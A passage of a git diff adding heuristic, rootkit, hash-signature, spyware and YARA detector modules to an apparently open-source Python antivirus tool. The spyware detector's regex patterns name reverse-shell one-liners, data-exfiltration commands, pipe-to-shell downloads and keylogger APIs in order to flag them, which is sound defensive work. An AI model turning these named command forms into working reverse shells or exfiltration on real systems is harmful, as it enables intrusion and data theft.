results.append(DetectionResult( + threat_name="Heuristic.Dropper.PipeToShell", + threat_type="MALWARE", + severity="HIGH", + confidence=80, + details="File downloads and pipes directly to a shell interpreter", + detector_name=self.name, + )) + + # Encoded PowerShell command. + if _RE_ENCODED_PS.search(content): + results.append(DetectionResult( + threat_name="Heuristic.PowerShell.EncodedCommand", + threat_type="MALWARE", + severity="HIGH", + confidence=75, + details="Encoded PowerShell command detected", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Obfuscation + # ------------------------------------------------------------------ + + def _check_obfuscation( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # chr() chains. + if _RE_CHR_CHAIN.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.ChrChain", + threat_type="MALWARE", + severity="MEDIUM", + confidence=60, + details="Obfuscation via long chr() concatenation chain", + detector_name=self.name, + )) + + # Hex-encoded byte strings. + hex_matches = _RE_HEX_STRING.findall(content) + if len(hex_matches) > 3: + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.HexStrings", + threat_type="MALWARE", + severity="MEDIUM", + confidence=55, + details=f"Multiple hex-encoded strings detected ({len(hex_matches)} occurrences)", + detector_name=self.name, + )) + + # Excessive string concatenation. + if _RE_STRING_CONCAT.search(content): + results.append(DetectionResult( + threat_name="Heuristic.Obfuscation.StringConcat", + threat_type="MALWARE", + severity="LOW", + confidence=40, + details="Excessive short-string concatenation — possible obfuscation", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # ELF anomalies + # ------------------------------------------------------------------ + + def _check_elf_anomalies( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if not content[:4] == b"\x7fELF": + return results + + # UPX packed. + if _UPX_MAGIC in content[:4096]: + results.append(DetectionResult( + threat_name="Heuristic.Packed.UPX", + threat_type="MALWARE", + severity="MEDIUM", + confidence=60, + details="ELF binary is UPX-packed", + detector_name=self.name, + )) + + # Stripped binary in unusual location. + path_str = str(file_path) + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if not is_in_system: + # Non-system ELF — more suspicious if stripped (no .symtab). + if b".symtab" not in content and b".debug" not in content: + results.append(DetectionResult( + threat_name="Heuristic.ELF.StrippedNonSystem", + threat_type="MALWARE", + severity="LOW", + confidence=35, + details="Stripped ELF binary found outside standard system directories", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Permission anomalies + # ------------------------------------------------------------------ + + def _check_permission_anomalies( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + try: + st = file_path.stat() + except OSError: + return results + + mode = st.st_mode + path_str = str(file_path) + + # World-writable file in a system directory. + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if is_in_system and (mode & stat.S_IWOTH): + results.append(DetectionResult( + threat_name="Heuristic.Permissions.WorldWritableSystem", + threat_type="MALWARE", + severity="HIGH", + confidence=70, + details=f"World-writable file in system directory: {file_path}", + detector_name=self.name, + )) + + # SUID/SGID on unusual files. + is_suid = bool(mode & stat.S_ISUID) + is_sgid = bool(mode & stat.S_ISGID) + if (is_suid or is_sgid) and not is_in_system: + flag = "SUID" if is_suid else "SGID" + results.append(DetectionResult( + threat_name=f"Heuristic.Permissions.{flag}NonSystem", + threat_type="MALWARE", + severity="HIGH", + confidence=75, + details=f"{flag} bit set on file outside system directories: {file_path}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden files in suspicious locations + # ------------------------------------------------------------------ + + def _check_hidden_files( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if not file_path.name.startswith("."): + return results + + path_str = str(file_path) + for sus_dir in _SUSPICIOUS_HIDDEN_DIRS: + if path_str.startswith(sus_dir): + results.append(DetectionResult( + threat_name="Heuristic.HiddenFile.SuspiciousLocation", + threat_type="MALWARE", + severity="MEDIUM", + confidence=50, + details=f"Hidden file in suspicious directory: {file_path}", + detector_name=self.name, + )) + break + + return results + + # ------------------------------------------------------------------ + # Recently modified system files + # ------------------------------------------------------------------ + + def _check_recent_system_modification( + self, file_path: Path + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + path_str = str(file_path) + is_in_system = any(path_str.startswith(d) for d in _SYSTEM_DIRS) + if not is_in_system: + return results + + try: + mtime = datetime.utcfromtimestamp(file_path.stat().st_mtime) + except OSError: + return results + + if datetime.utcnow() - mtime < timedelta(hours=24): + results.append(DetectionResult( + threat_name="Heuristic.SystemFile.RecentlyModified", + threat_type="MALWARE", + severity="MEDIUM", + confidence=45, + details=( + f"System file modified within the last 24 hours: " + f"{file_path} (mtime: {mtime.isoformat()})" + ), + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py b/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py new file mode 100644 index 0000000..03ade3f --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/rootkit_detector.py @@ -0,0 +1,387 @@ +"""Rootkit detector for AYN Antivirus. + +Performs system-wide checks for indicators of rootkit compromise: known +rootkit files, modified system binaries, hidden processes, hidden kernel +modules, LD_PRELOAD hijacking, hidden network ports, and tampered logs. + +Many checks require **root** privileges. On non-Linux systems, kernel- +module and /proc-based checks are gracefully skipped. +""" + +from __future__ import annotations + +import logging +import os +import subprocess +from pathlib import Path +from typing import List, Optional, Set + +import psutil + +from ayn_antivirus.constants import ( + KNOWN_ROOTKIT_FILES, + MALICIOUS_ENV_VARS, +) +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + + +class RootkitDetector(BaseDetector): + """System-wide rootkit detection. + + Unlike other detectors, the *file_path* argument is optional. When + called without a path (or with ``file_path=None``) the detector runs + every host-level check. When given a file it limits itself to checks + relevant to that file. + """ + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "rootkit_detector" + + @property + def description(self) -> str: + return "Detects rootkits via file, process, module, and environment analysis" + + def detect( + self, + file_path: str | Path | None = None, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Run rootkit checks. + + If *file_path* is ``None``, all system-wide checks are executed. + Otherwise only file-specific checks run. + """ + results: List[DetectionResult] = [] + + if file_path is not None: + fp = Path(file_path) + # File-specific: is this a known rootkit artefact? + results.extend(self._check_known_rootkit_file(fp)) + return results + + # --- Full system-wide scan --- + results.extend(self._check_known_rootkit_files()) + results.extend(self._check_ld_preload()) + results.extend(self._check_ld_so_preload()) + results.extend(self._check_hidden_processes()) + results.extend(self._check_hidden_kernel_modules()) + results.extend(self._check_hidden_network_ports()) + results.extend(self._check_malicious_env_vars()) + results.extend(self._check_tampered_logs()) + + return results + + # ------------------------------------------------------------------ + # Known rootkit files + # ------------------------------------------------------------------ + + def _check_known_rootkit_files(self) -> List[DetectionResult]: + """Check every path in :pydata:`KNOWN_ROOTKIT_FILES`.""" + results: List[DetectionResult] = [] + for path_str in KNOWN_ROOTKIT_FILES: + p = Path(path_str) + if p.exists(): + results.append(DetectionResult( + threat_name="Rootkit.KnownFile", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=90, + details=f"Known rootkit artefact present: {path_str}", + detector_name=self.name, + )) + return results + + def _check_known_rootkit_file(self, file_path: Path) -> List[DetectionResult]: + """Check whether *file_path* is a known rootkit file.""" + results: List[DetectionResult] = [] + path_str = str(file_path) + if path_str in KNOWN_ROOTKIT_FILES: + results.append(DetectionResult( + threat_name="Rootkit.KnownFile", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=90, + details=f"Known rootkit artefact: {path_str}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # LD_PRELOAD / ld.so.preload + # ------------------------------------------------------------------ + + def _check_ld_preload(self) -> List[DetectionResult]: + """Flag the ``LD_PRELOAD`` environment variable if set globally.""" + results: List[DetectionResult] = [] + val = os.environ.get("LD_PRELOAD", "") + if val: + results.append(DetectionResult( + threat_name="Rootkit.LDPreload.EnvVar", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"LD_PRELOAD is set: {val}", + detector_name=self.name, + )) + return results + + def _check_ld_so_preload(self) -> List[DetectionResult]: + """Check ``/etc/ld.so.preload`` for suspicious entries.""" + results: List[DetectionResult] = [] + ld_preload_file = Path("/etc/ld.so.preload") + if not ld_preload_file.exists(): + return results + + try: + content = ld_preload_file.read_text().strip() + except PermissionError: + self._warn("Cannot read /etc/ld.so.preload") + return results + + if content: + lines = [l.strip() for l in content.splitlines() if l.strip() and not l.startswith("#")] + if lines: + results.append(DetectionResult( + threat_name="Rootkit.LDPreload.File", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"/etc/ld.so.preload contains entries: {', '.join(lines[:5])}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Hidden processes + # ------------------------------------------------------------------ + + def _check_hidden_processes(self) -> List[DetectionResult]: + """Compare /proc PIDs with psutil to find hidden processes.""" + results: List[DetectionResult] = [] + proc_dir = Path("/proc") + if not proc_dir.is_dir(): + return results # non-Linux + + proc_pids: Set[int] = set() + try: + for entry in proc_dir.iterdir(): + if entry.name.isdigit(): + proc_pids.add(int(entry.name)) + except PermissionError: + return results + + psutil_pids = set(psutil.pids()) + hidden = proc_pids - psutil_pids + + for pid in hidden: + name = "" + try: + comm = proc_dir / str(pid) / "comm" + if comm.exists(): + name = comm.read_text().strip() + except OSError: + pass + + results.append(DetectionResult( + threat_name="Rootkit.HiddenProcess", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=85, + details=f"PID {pid} ({name or 'unknown'}) visible in /proc but hidden from psutil", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden kernel modules + # ------------------------------------------------------------------ + + def _check_hidden_kernel_modules(self) -> List[DetectionResult]: + """Compare ``lsmod`` output with ``/proc/modules`` to find discrepancies.""" + results: List[DetectionResult] = [] + proc_modules_path = Path("/proc/modules") + if not proc_modules_path.exists(): + return results # non-Linux + + # Modules from /proc/modules. + try: + proc_content = proc_modules_path.read_text() + except PermissionError: + return results + + proc_mods: Set[str] = set() + for line in proc_content.splitlines(): + parts = line.split() + if parts: + proc_mods.add(parts[0]) + + # Modules from lsmod. + lsmod_mods: Set[str] = set() + try: + output = subprocess.check_output(["lsmod"], stderr=subprocess.DEVNULL, timeout=10) + for line in output.decode(errors="replace").splitlines()[1:]: + parts = line.split() + if parts: + lsmod_mods.add(parts[0]) + except (FileNotFoundError, subprocess.SubprocessError, OSError): + return results # lsmod not available + + # Modules in /proc but NOT in lsmod → hidden from userspace. + hidden = proc_mods - lsmod_mods + for mod in hidden: + results.append(DetectionResult( + threat_name="Rootkit.HiddenKernelModule", + threat_type="ROOTKIT", + severity="CRITICAL", + confidence=80, + details=f"Kernel module '{mod}' in /proc/modules but hidden from lsmod", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Hidden network ports + # ------------------------------------------------------------------ + + def _check_hidden_network_ports(self) -> List[DetectionResult]: + """Compare ``ss``/``netstat`` listening ports with psutil.""" + results: List[DetectionResult] = [] + + # Ports from psutil. + psutil_ports: Set[int] = set() + try: + for conn in psutil.net_connections(kind="inet"): + if conn.status == "LISTEN" and conn.laddr: + psutil_ports.add(conn.laddr.port) + except psutil.AccessDenied: + return results + + # Ports from ss. + ss_ports: Set[int] = set() + try: + output = subprocess.check_output( + ["ss", "-tlnH"], stderr=subprocess.DEVNULL, timeout=10 + ) + for line in output.decode(errors="replace").splitlines(): + # Typical ss output: LISTEN 0 128 0.0.0.0:22 ... + parts = line.split() + for part in parts: + if ":" in part: + try: + port = int(part.rsplit(":", 1)[1]) + ss_ports.add(port) + except (ValueError, IndexError): + continue + except (FileNotFoundError, subprocess.SubprocessError, OSError): + return results # ss not available + + # Ports in ss but not in psutil → potentially hidden by a rootkit. + hidden = ss_ports - psutil_ports + for port in hidden: + results.append(DetectionResult( + threat_name="Rootkit.HiddenPort", + threat_type="ROOTKIT", + severity="HIGH", + confidence=70, + details=f"Listening port {port} visible to ss but hidden from psutil", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Malicious environment variables + # ------------------------------------------------------------------ + + def _check_malicious_env_vars(self) -> List[DetectionResult]: + """Check the current environment for known-risky variables.""" + results: List[DetectionResult] = [] + for entry in MALICIOUS_ENV_VARS: + if "=" in entry: + # Exact key=value match (e.g. "HISTFILE=/dev/null"). + key, val = entry.split("=", 1) + if os.environ.get(key) == val: + results.append(DetectionResult( + threat_name="Rootkit.EnvVar.Suspicious", + threat_type="ROOTKIT", + severity="HIGH", + confidence=75, + details=f"Suspicious environment variable: {key}={val}", + detector_name=self.name, + )) + else: + # Key presence check (e.g. "LD_PRELOAD"). + if entry in os.environ: + results.append(DetectionResult( + threat_name="Rootkit.EnvVar.Suspicious", + threat_type="ROOTKIT", + severity="HIGH", + confidence=65, + details=f"Suspicious environment variable set: {entry}={os.environ[entry][:100]}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Tampered log files + # ------------------------------------------------------------------ + + _LOG_PATHS = [ + "/var/log/auth.log", + "/var/log/syslog", + "/var/log/messages", + "/var/log/secure", + "/var/log/wtmp", + "/var/log/btmp", + "/var/log/lastlog", + ] + + def _check_tampered_logs(self) -> List[DetectionResult]: + """Look for signs of log tampering: zero-byte logs, missing logs, + or logs whose mtime is suspiciously older than expected. + """ + results: List[DetectionResult] = [] + + for log_path_str in self._LOG_PATHS: + log_path = Path(log_path_str) + if not log_path.exists(): + # Missing critical log. + if log_path_str in ("/var/log/auth.log", "/var/log/syslog", "/var/log/wtmp"): + results.append(DetectionResult( + threat_name="Rootkit.Log.Missing", + threat_type="ROOTKIT", + severity="HIGH", + confidence=60, + details=f"Critical log file missing: {log_path_str}", + detector_name=self.name, + )) + continue + + try: + st = log_path.stat() + except OSError: + continue + + # Zero-byte log file (may have been truncated). + if st.st_size == 0: + results.append(DetectionResult( + threat_name="Rootkit.Log.Truncated", + threat_type="ROOTKIT", + severity="HIGH", + confidence=70, + details=f"Log file is empty (possibly truncated): {log_path_str}", + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py b/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py new file mode 100644 index 0000000..414f4a9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/signature_detector.py @@ -0,0 +1,192 @@ +"""AYN Antivirus — Signature-based Detector. + +Looks up file hashes against the threat signature database populated by +the feed update pipeline (MalwareBazaar, ThreatFox, etc.). Uses +:class:`~ayn_antivirus.signatures.db.hash_db.HashDatabase` so that +definitions written by ``ayn-antivirus update`` are immediately available +for detection. +""" + +from __future__ import annotations + +import logging +from pathlib import Path +from typing import Dict, List, Optional + +from ayn_antivirus.constants import DEFAULT_DB_PATH +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult +from ayn_antivirus.utils.helpers import hash_file as _hash_file_util + +logger = logging.getLogger("ayn_antivirus.detectors.signature") + +_VALID_SEVERITIES = {"CRITICAL", "HIGH", "MEDIUM", "LOW"} + + +class SignatureDetector(BaseDetector): + """Detect known malware by matching file hashes against the signature DB. + + Parameters + ---------- + db_path: + Path to the shared SQLite database that holds the ``threats``, + ``ioc_ips``, ``ioc_domains``, and ``ioc_urls`` tables. + """ + + def __init__(self, db_path: str | Path = DEFAULT_DB_PATH) -> None: + self.db_path = str(db_path) + self._hash_db = None + self._ioc_db = None + self._loaded = False + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "signature_detector" + + @property + def description(self) -> str: + return "Hash-based signature detection using threat intelligence feeds" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + """Check the file's hash against the ``threats`` table. + + If *file_hash* is not supplied it is computed on the fly. + """ + self._ensure_loaded() + results: List[DetectionResult] = [] + + if not self._hash_db: + return results + + # Compute hash if not provided. + if not file_hash: + try: + file_hash = _hash_file_util(str(file_path), algo="sha256") + except Exception: + return results + + # Also compute MD5 for VirusShare lookups. + md5_hash = None + try: + md5_hash = _hash_file_util(str(file_path), algo="md5") + except Exception: + pass + + # Look up SHA256 first, then MD5. + threat = self._hash_db.lookup(file_hash) + if not threat and md5_hash: + threat = self._hash_db.lookup(md5_hash) + if threat: + severity = (threat.get("severity") or "HIGH").upper() + if severity not in _VALID_SEVERITIES: + severity = "HIGH" + results.append(DetectionResult( + threat_name=threat.get("threat_name", "Malware.Known"), + threat_type=threat.get("threat_type", "MALWARE"), + severity=severity, + confidence=100, + details=( + f"Known threat signature match " + f"(source: {threat.get('source', 'unknown')}). " + f"Hash: {file_hash[:16]}... " + f"Details: {threat.get('details', '')}" + ), + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # IOC lookup helpers (used by engine for network enrichment) + # ------------------------------------------------------------------ + + def lookup_hash(self, file_hash: str) -> Optional[Dict]: + """Look up a single hash. Returns threat info dict or ``None``.""" + self._ensure_loaded() + if not self._hash_db: + return None + return self._hash_db.lookup(file_hash) + + def lookup_ip(self, ip: str) -> Optional[Dict]: + """Look up an IP against the IOC database.""" + self._ensure_loaded() + if not self._ioc_db: + return None + return self._ioc_db.lookup_ip(ip) + + def lookup_domain(self, domain: str) -> Optional[Dict]: + """Look up a domain against the IOC database.""" + self._ensure_loaded() + if not self._ioc_db: + return None + return self._ioc_db.lookup_domain(domain) + + # ------------------------------------------------------------------ + # Statistics + # ------------------------------------------------------------------ + + def get_stats(self) -> Dict: + """Return signature / IOC database statistics.""" + self._ensure_loaded() + stats: Dict = {"hash_count": 0, "loaded": self._loaded} + if self._hash_db: + stats["hash_count"] = self._hash_db.count() + stats.update(self._hash_db.get_stats()) + if self._ioc_db: + stats["ioc_ips"] = len(self._ioc_db.get_all_malicious_ips()) + stats["ioc_domains"] = len(self._ioc_db.get_all_malicious_domains()) + return stats + + @property + def signature_count(self) -> int: + """Number of hash signatures currently loaded.""" + self._ensure_loaded() + return self._hash_db.count() if self._hash_db else 0 + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def close(self) -> None: + """Close database connections.""" + if self._hash_db: + self._hash_db.close() + self._hash_db = None + if self._ioc_db: + self._ioc_db.close() + self._ioc_db = None + self._loaded = False + + # ------------------------------------------------------------------ + # Internal + # ------------------------------------------------------------------ + + def _ensure_loaded(self) -> None: + """Lazy-load the database connections on first use.""" + if self._loaded: + return + if not self.db_path: + logger.warning("No signature DB path configured") + self._loaded = True + return + try: + from ayn_antivirus.signatures.db.hash_db import HashDatabase + from ayn_antivirus.signatures.db.ioc_db import IOCDatabase + + self._hash_db = HashDatabase(self.db_path) + self._hash_db.initialize() + self._ioc_db = IOCDatabase(self.db_path) + self._ioc_db.initialize() + count = self._hash_db.count() + logger.info("Signature DB loaded: %d hash signatures", count) + except Exception as exc: + logger.error("Failed to load signature DB: %s", exc) + self._loaded = True diff --git a/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py b/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py new file mode 100644 index 0000000..e36be60 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/spyware_detector.py @@ -0,0 +1,366 @@ +"""Spyware detector for AYN Antivirus. + +Scans files and system state for indicators of spyware: keyloggers, screen +capture utilities, data exfiltration patterns, reverse shells, unauthorized +SSH keys, and suspicious shell-profile modifications. +""" + +from __future__ import annotations + +import re +from pathlib import Path +from typing import List, Optional + +from ayn_antivirus.constants import SUSPICIOUS_CRON_PATTERNS +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +# --------------------------------------------------------------------------- +# File-content patterns +# --------------------------------------------------------------------------- + +# Keylogger indicators. +_RE_KEYLOGGER = re.compile( + rb"(?:" + rb"/dev/input/event\d+" + rb"|xinput\s+(?:test|list)" + rb"|xdotool\b" + rb"|showkey\b" + rb"|logkeys\b" + rb"|pynput\.keyboard" + rb"|keyboard\.on_press" + rb"|evdev\.InputDevice" + rb"|GetAsyncKeyState" + rb"|SetWindowsHookEx" + rb")", + re.IGNORECASE, +) + +# Screen / audio capture. +_RE_SCREEN_CAPTURE = re.compile( + rb"(?:" + rb"scrot\b" + rb"|import\s+-window\s+root" + rb"|xwd\b" + rb"|ffmpeg\s+.*-f\s+x11grab" + rb"|xdpyinfo" + rb"|ImageGrab\.grab" + rb"|screenshot" + rb"|pyautogui\.screenshot" + rb"|screencapture\b" + rb")", + re.IGNORECASE, +) + +_RE_AUDIO_CAPTURE = re.compile( + rb"(?:" + rb"arecord\b" + rb"|parecord\b" + rb"|ffmpeg\s+.*-f\s+(?:alsa|pulse|avfoundation)" + rb"|pyaudio" + rb"|sounddevice" + rb")", + re.IGNORECASE, +) + +# Data exfiltration. +_RE_EXFIL = re.compile( + rb"(?:" + rb"curl\s+.*-[FdT]\s" + rb"|curl\s+.*--upload-file" + rb"|wget\s+.*--post-file" + rb"|scp\s+.*@" + rb"|rsync\s+.*@" + rb"|nc\s+-[^\s]*\s+\d+\s*<" + rb"|python[23]?\s+-m\s+http\.server" + rb")", + re.IGNORECASE, +) + +# Reverse shell. +_RE_REVERSE_SHELL = re.compile( + rb"(?:" + rb"bash\s+-i\s+>&\s*/dev/tcp/" + rb"|nc\s+-e\s+/bin/" + rb"|ncat\s+.*-e\s+/bin/" + rb"|socat\s+exec:" + rb"|python[23]?\s+-c\s+['\"]import\s+socket" + rb"|perl\s+-e\s+['\"]use\s+Socket" + rb"|ruby\s+-rsocket\s+-e" + rb"|php\s+-r\s+['\"].*fsockopen" + rb"|mkfifo\s+/tmp/.*;\s*nc" + rb"|/dev/tcp/\d+\.\d+\.\d+\.\d+" + rb")", + re.IGNORECASE, +) + +# Suspicious cron patterns (compiled from constants). +_RE_CRON_PATTERNS = [ + re.compile(pat.encode(), re.IGNORECASE) for pat in SUSPICIOUS_CRON_PATTERNS +] + + +class SpywareDetector(BaseDetector): + """Detect spyware indicators in files and on the host.""" + + # ------------------------------------------------------------------ + # BaseDetector interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "spyware_detector" + + @property + def description(self) -> str: + return "Detects keyloggers, screen capture, data exfiltration, and reverse shells" + + def detect( + self, + file_path: str | Path, + file_content: Optional[bytes] = None, + file_hash: Optional[str] = None, + ) -> List[DetectionResult]: + file_path = Path(file_path) + results: List[DetectionResult] = [] + + try: + content = self._read_content(file_path, file_content) + except OSError as exc: + self._warn("Cannot read %s: %s", file_path, exc) + return results + + # --- File-content checks --- + results.extend(self._check_keylogger(file_path, content)) + results.extend(self._check_screen_capture(file_path, content)) + results.extend(self._check_audio_capture(file_path, content)) + results.extend(self._check_exfiltration(file_path, content)) + results.extend(self._check_reverse_shell(file_path, content)) + results.extend(self._check_hidden_cron(file_path, content)) + + # --- Host-state checks (only for relevant paths) --- + results.extend(self._check_authorized_keys(file_path, content)) + results.extend(self._check_shell_profile(file_path, content)) + + return results + + # ------------------------------------------------------------------ + # Keylogger patterns + # ------------------------------------------------------------------ + + def _check_keylogger( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_KEYLOGGER.findall(content) + if matches: + samples = sorted(set(m.decode(errors="replace") for m in matches[:5])) + results.append(DetectionResult( + threat_name="Spyware.Keylogger", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=80, + details=f"Keylogger indicators: {', '.join(samples)}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Screen capture + # ------------------------------------------------------------------ + + def _check_screen_capture( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if _RE_SCREEN_CAPTURE.search(content): + results.append(DetectionResult( + threat_name="Spyware.ScreenCapture", + threat_type="SPYWARE", + severity="HIGH", + confidence=70, + details="Screen-capture tools or API calls detected", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Audio capture + # ------------------------------------------------------------------ + + def _check_audio_capture( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if _RE_AUDIO_CAPTURE.search(content): + results.append(DetectionResult( + threat_name="Spyware.AudioCapture", + threat_type="SPYWARE", + severity="HIGH", + confidence=65, + details="Audio recording tools or API calls detected", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Data exfiltration + # ------------------------------------------------------------------ + + def _check_exfiltration( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + matches = _RE_EXFIL.findall(content) + if matches: + samples = [m.decode(errors="replace")[:80] for m in matches[:3]] + results.append(DetectionResult( + threat_name="Spyware.DataExfiltration", + threat_type="SPYWARE", + severity="HIGH", + confidence=70, + details=f"Data exfiltration pattern(s): {'; '.join(samples)}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Reverse shell + # ------------------------------------------------------------------ + + def _check_reverse_shell( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + match = _RE_REVERSE_SHELL.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.ReverseShell", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=90, + details=f"Reverse shell pattern: {match.group()[:100]!r}", + detector_name=self.name, + )) + return results + + # ------------------------------------------------------------------ + # Hidden cron jobs + # ------------------------------------------------------------------ + + def _check_hidden_cron( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + + # Only check cron-related files. + path_str = str(file_path) + is_cron = any(tok in path_str for tok in ("cron", "crontab", "/var/spool/")) + if not is_cron: + return results + + for pat in _RE_CRON_PATTERNS: + match = pat.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.Cron.SuspiciousEntry", + threat_type="SPYWARE", + severity="HIGH", + confidence=80, + details=f"Suspicious cron pattern in {file_path}: {match.group()[:80]!r}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Unauthorized SSH keys + # ------------------------------------------------------------------ + + def _check_authorized_keys( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if file_path.name != "authorized_keys": + return results + + # Flag if the file exists in an unexpected location. + path_str = str(file_path) + if not path_str.startswith("/root/") and "/.ssh/" not in path_str: + results.append(DetectionResult( + threat_name="Spyware.SSH.UnauthorizedKeysFile", + threat_type="SPYWARE", + severity="HIGH", + confidence=75, + details=f"authorized_keys found in unexpected location: {file_path}", + detector_name=self.name, + )) + + # Check for suspiciously many keys. + key_count = content.count(b"ssh-rsa") + content.count(b"ssh-ed25519") + content.count(b"ecdsa-sha2") + if key_count > 10: + results.append(DetectionResult( + threat_name="Spyware.SSH.ExcessiveKeys", + threat_type="SPYWARE", + severity="MEDIUM", + confidence=55, + details=f"{key_count} SSH keys in {file_path} — possible unauthorized access", + detector_name=self.name, + )) + + # command= prefix can force a shell command on login — often abused. + if b'command="' in content or b"command='" in content: + results.append(DetectionResult( + threat_name="Spyware.SSH.ForcedCommand", + threat_type="SPYWARE", + severity="MEDIUM", + confidence=60, + details=f"Forced command found in authorized_keys: {file_path}", + detector_name=self.name, + )) + + return results + + # ------------------------------------------------------------------ + # Shell profile modifications + # ------------------------------------------------------------------ + + _PROFILE_FILES = { + ".bashrc", ".bash_profile", ".profile", ".zshrc", + ".bash_login", ".bash_logout", + } + + _RE_PROFILE_SUSPICIOUS = re.compile( + rb"(?:" + rb"curl\s+[^\n]*\|\s*(?:sh|bash)" + rb"|wget\s+[^\n]*\|\s*(?:sh|bash)" + rb"|/dev/tcp/" + rb"|base64\s+--decode" + rb"|nohup\s+.*&" + rb"|eval\s+\$\(" + rb"|python[23]?\s+-c\s+['\"]import\s+(?:socket|os|pty)" + rb")", + re.IGNORECASE, + ) + + def _check_shell_profile( + self, file_path: Path, content: bytes + ) -> List[DetectionResult]: + results: List[DetectionResult] = [] + if file_path.name not in self._PROFILE_FILES: + return results + + match = self._RE_PROFILE_SUSPICIOUS.search(content) + if match: + results.append(DetectionResult( + threat_name="Spyware.ShellProfile.SuspiciousEntry", + threat_type="SPYWARE", + severity="CRITICAL", + confidence=85, + details=( + f"Suspicious command in shell profile {file_path}: " + f"{match.group()[:100]!r}" + ), + detector_name=self.name, + )) + + return results diff --git a/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py b/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py new file mode 100644 index 0000000..f0bfde6 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/detectors/yara_detector.py @@ -0,0 +1,200 @@ +"""YARA-rule detector for AYN Antivirus. + +Compiles and caches YARA rule files from the configured rules directory, +then matches them against scanned files. ``yara-python`` is treated as an +optional dependency — if it is missing the detector logs a warning and +returns no results. +""" + +from __future__ import annotations + +import logging +from pathlib import Path +from typing import Any, List, Optional + +from ayn_antivirus.constants import DEFAULT_YARA_RULES_DIR +from ayn_antivirus.detectors.base import BaseDetector, DetectionResult + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Conditional import — yara-python is optional. +# --------------------------------------------------------------------------- +try: + import yara # type: ignore[import-untyped] + + _YARA_AVAILABLE = True +except ImportError: + _YARA_AVAILABLE = False + yara = None # type: ignore[assignment] + +# Severity mapping for YARA rule meta tags. +_META_SEVERITY_MAP = { + "critical": "CRITICAL", + "high": "HIGH", + "medium": "MEDIUM", + "low": "LOW", +} + + +class YaraDetector(BaseDetector): + """Detect threats by matching YARA rules against file contents. + + Parameters + ---------- + rules_dir: + Directory containing ``.yar`` / ``.yara`` rule files. Defaults to + the bundled ``signatures/yara_rules/`` directory. + """ + + def __init__(self, 